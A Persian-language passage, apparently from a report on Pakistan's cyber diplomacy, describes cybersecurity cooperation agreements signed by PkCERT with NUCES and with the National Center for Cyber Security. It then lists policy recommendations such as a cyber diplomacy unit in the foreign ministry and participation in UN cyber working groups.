همـــــکاری تیـــــم ملـــــی پاســــــخ فـــــوری سایبــــــری و دانشگـــــاه ملـــــی علـــــوم کامپیوتـــــر و � 

ـــد ـــوم نوپدی علـــ

در کنفرانــس بین‌المللــی فنــاوری اطلاعــات و فناوری‌هــای صنعتــی )ICIT 2024(1 کــه بــه 

میزبانــی دانشــگاه ملــی علــوم کامپیوتــر و علــوم نوپدیــد )NUCES( برگــزار شــد، تیــم ملــی 

پاســخ فوری ســایبری)PkCERT( و دانشــگاه مــذکور تفاهم‌نامــه همــکاری راهبــردی امضــا 

کردنــد تــا ظرفیــت امنیــت ســایبری و نــوآوری فناورانــه در پاکســتان را ارتقــا دهنــد.

ایــن تفاهم‌نامــه چــارچوبی چندبُُعــدی بــرای مقابلــه بــا چشــم‌انداز درحال‌تــحول امنیــت 

ــر دو  ــص ه ــع و تخص ــب مناب ــا ترکی ــه ب ــن تفاهم‌نام ــد. ای ــن می‌کن ــتان را تبیی ــایبری پاکس س

ســازمان بــر ارائــه برنامه‌هــای آموزشــی پیشــرفته، ابتکارهــای پژوهشــی نویــن و فرصت‌هــای 

1.  International Conference on IT and Industrial Technologies
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   دوم بخش    کستانابری پیسی ساادیپلم  .

عملــی در حوزه‌هــایی همــچون پاســخ بــه رخدادهــا، جرم‌شناســی، ارزیــابی آسیب‌پذیری‌هــا، 

تســت نفــوذ و تدویــن سیاســت‌های ســایبری متمرکــز اســت. از دســتاوردهای مهــم ایــن 

ــاص  ــای خ ــا نیازه ــب ب ــایبری متناس ــت س ــای امنی ــعه فناوری‌ه ــه توس ــوان ب ــکاری می‌ت هم

بــرای  دانــش  تبــادل  برنامه‌هــای  و  کارگاه‌هــا  ســمینارها،  برگــزاری  کــرد.  اشــاره  پاکســتان 

گاهــی عمومــی در حوزه امنیــت ســایبری و ایجــاد فرصت‌هــای کارآموزی و اشــتغال  افزایــش آ

بــرای دانشــجویان به‌منــظور تربیــت نیروی انســانی ماهــر و هماهنــگ بــا نیــاز صنعــت نیــز در 

چارچــوب ایــن تفاهم‌نامــه همــکاری لحــاظ شده‌اســت.

ایــن دو نهــاد بــا همــکاری در زمینــه سیســتم‌های خــودکار امنیــت ســایبری مبتنی‌بــر 

هوش‌مصنوعــی و یــادگیری ماشینــی و انجــام پژوهش‌هــای کاربــردی و نمونه‌ســازی قصــد 

دارنــد راه‌حل‌هــای مــوثری بــرای مقابلــه بــا تهدیدهــای نوپدیــد ارائــه دهنــد و نســل آینــده 

متخصصــان را بــه مهارت‌هــا و دانــش ضروری در ایــن عرصــه مجهــز ســازند ]71[.

همکاری تیم ملی پاسخ فوری سایبری و مرکز ملی امنیت سایبری پاکستان� 

 )NCCS( و مرکز ملی امنیت سایبری پاکستان )PkCERT( تیم ملی پاســخ فوری سایبری

در دانشــگاه نیرو هــوایی تفاهم‌نامــه مهمــی باهدف پیشــبرد زیســت‌بوم امنیت ســایبری 

پاکســتان به امضا رســاندند. این همکاری بر تعهد مشــترک به تقویت روابط بین دانشگاه 

و صنعت ازطریق ترویج تحقیق، نوآوری و توسعه ظرفیت‌ها در حوزه امنیت سایبری تاکید 

دارد و بــا ارائــه راهکارهای پژوهشــی و سفارشــی بــه مقابله با چالش‌های ملــی و بین‌المللی 

امنیت سایبری کمک خواهدکرد.

اولویت این همکاری بر تحقیق‌وتوســعه مشــترک متمرکز اســت تا راهکارهای نوآورانه 

امنیت سایبری مطابق نیازهای ملی ایجاد شود و همزمان امکان تجاری‌سازی آن‌ها فراهم 

گردد. این همکاری همچنین بر آموزش متخصصان آینده و پژوهشگران مرکز ملی امنیت 
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ســایبری تمرکــز دارد و ازطریــق برنامه‌ها و دوره‌های تخصصی و کارآموزی‌ همســو با صنعت 

ســعی بــر این اســت تا مهارت‌هــای عملی آنــان ارتقا یابد. کارگاه‌ها، ســمینارها و مســابقات 

هــکاتون نیــز در قالــب این همکاری برگزار می‌شــوند تا تبــادل بهترین شیوه‌هــا و تجربیات 

میان دانشگاه و صنعت تسهیل شود. به‌علاوه، این همکاری از توسعه برنامه‌های درسی 

پیشرفته و پایان‌نامه‌ها با تمرکز بر کاربردهای عملی حمایت می‌کند. دراین‌راستا، تیم ملی 

پاسخ فوری سایبری در قالب این همکاری امکان برگزاری برنامه‌های آموزشی ساختاریافته 

و دسترســی‌به کارشناســان صنعتی را فراهــم می‌کند تا مهارت‌های پژوهشــگران مرکز ملی 

امنیــت ســایبری تقویــت شــود و درمقابــل، ایــن مرکز بــر تحقیقــات پیشــرفته و پروژه‌های 

تحقیق‌وتوســعه تمرکــز خواهدداشــت. درمجموع می‌تــوان گفت با همکاری ایــن دو نهاد، 

راهکارهــای امنیــت ســایبری و بهتریــن شیوه‌ها در ســطوح دولتی و خصوصی پیاده‌ســازی 

می‌شوند و چارچوب دفاع سایبری کشور تقویت می‌شود ]72[.
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     5  یهصتوت پیبریاس یت دیپلماسی برای تقویتسای سیتوصیه‎ها  .

   دوم بخش    کستانابری پیسی ساادیپلم  .

توســـعه ظرفیت‌هـــای امنیـــت ســـایبری و بهـــره‌گیری‌از دیپلماســـی ســـایبری، به‌ویـــژه 

از  بـــرای محافظـــت  کـــشور  ایـــن  کـــشوری ماننـــد پاکســـتان، امری حیاتـــی اســـت.  بـــرای 

زیرســـاخت‌های حیاتـــی، ارتقـــای تـــاب‌آوری دیجیتـــال و پیشـــبرد اهـــداف اقتصـــادی و امنیـــت 

ملـــی نیازمنـــد نقشـــه‌راه سیاســـتی منســـجم و راهبـــردی اســـت. دراین‌راســـتا، توصیه‌هـــای 

یـــک نقشـــه‌راه عمـــل می‌کننـــد و مسیـــر تقویـــت  ایـــن بخـــش به‌عنـــوان  ارائه‌شـــده در 

ــازند. ایـــن توصیه‌هـــای  ــایبری و امنیـــت ملـــی پاکســـتان را مشـــخص می‌سـ دیپلماســـی سـ

: سیاســـتی عبارتنـــداز

 y  ایجـــاد یـــک بخـــش رســـمی بـــرای دیپلماســـی ســـایبری در وزارت امـــور خارجـــه پاکســـتان‌

)MoFA(1؛

 y  جذب و پرورش دیپلمات‌های سایبری برای صیانت از منافع و تقویت همکاری‌های‌

بین‌المللی؛

1.  Ministry of Foreign Affairs

توصیه‌‎هــای سیاســتی بــرای تقویت 
دیپلماسی سایبری پاکستان

5
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 y  تدویــن چارچــوب قانونــی مدون و مشــخص در حوزه دیپلماســی ســایبری به‌منظور‌

مدیریت فضای سایبری و تقویت همکاری‌های بین‌المللی؛

 y تدوین و اجرای سیاست‌ها و برنامه‌های جامع امنیت سایبری؛‌

 y  ازطریــق ســایبری  امنیــت  فناوری‌هــای  و  تخصص‌هــا  توســعه  در  ‌ســرمایه‌گذاری 

تحقیق‌وتوسعه؛

 y  گاهــی درباره ایمنی برخط، تهدیدها و دیپلماســی ‌ترویــج آمــوزش عمومی و افزایش آ

سایبری؛

 y  ایجاد مشارکت‌ها و گفت‌وگوهای راهبردی با دیگر کشورها و سازمان‌های بین‌المللی‌

و منطقــه‌ای ماننــد ســازمان ملــل )UN(، مجمــع همــکاری اقتصادی آســیا- اقیانوســیه 

)APEC(1 و سازمان همکاری شانگهای )SCO(2 در زمینه مسائل سایبری؛

 y  )GGE( مشارکت فعال در کارگروه‌های سازمان ملل ازجمله گروه کارشناسان دولتی‌

و کارگروه آزاد )OEWG( به‌منظور تدوین و توسعه استانداردها و هنجارهای بین‌المللی 

در فضای سایبری؛

 y  برگزاری رزمایش‌های مشترک سایبری در سطح بین‌المللی به‌منظور تقویت تاب‌آوری‌

ملی؛ و

 y  همسوســازی ابعاد دیپلماسی سایبری و امنیت سایبری با اهداف سیاست داخلی‌

. و خارجی کشور

پاکســتان بــا اجــرای موثــر ایــن توصیه‌هــا می‌توانــد گام‌هــای مــوثری در جهــت تقویــت 

جایــگاه خــود در دیپلماســی ســایبری بــردارد. به‌طورکلــی، دیپلماســی ســایبری بــرای کــشوری 

ــی انکارناپذیــر اســت و ایــن کــشور بایــد جایــگاه خــود را در مجامــع  ماننــد پاکســتان ضرورت

1.  Asia-Pacific Economic Cooperation
2.  Shanghai Cooperation Organisation
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   دوم بخش    کستانابری پیسی ساادیپلم  .

ــرداری‌از  ــا روی آورد. بهره‌ب ــر کشوره ــا دیگ ــکاری ب ــترش هم ــه گس ــد و ب ــا ده ــی ارتق بین‌الملل

فرصت‌هــای راهبــردی و مقابلــه بــا چالش‌هــای موجــود مســتلزم اتخــاذ نگــرش فعالانــه، 

ادغــام ملاحظــات ســایبری در راهبــرد امنیــت ملــی، بهبــود هماهنگــی نهــادی، ارتقــای ســواد 

دیجیتــال دیپلمات‌هــا و تمرکــز بــر ســازوکارهای منطقــه‌ای و بین‌المللــی اســت. پاکســتان بــا 

رفــع چالش‌هــا و اســتفاده از فرصت‌هــا می‌توانــد بــه بازیــگری تاثیرگــذار در حکمرانــی جهانــی 

فضــای ســایبری تبدیــل شــود ]57[.
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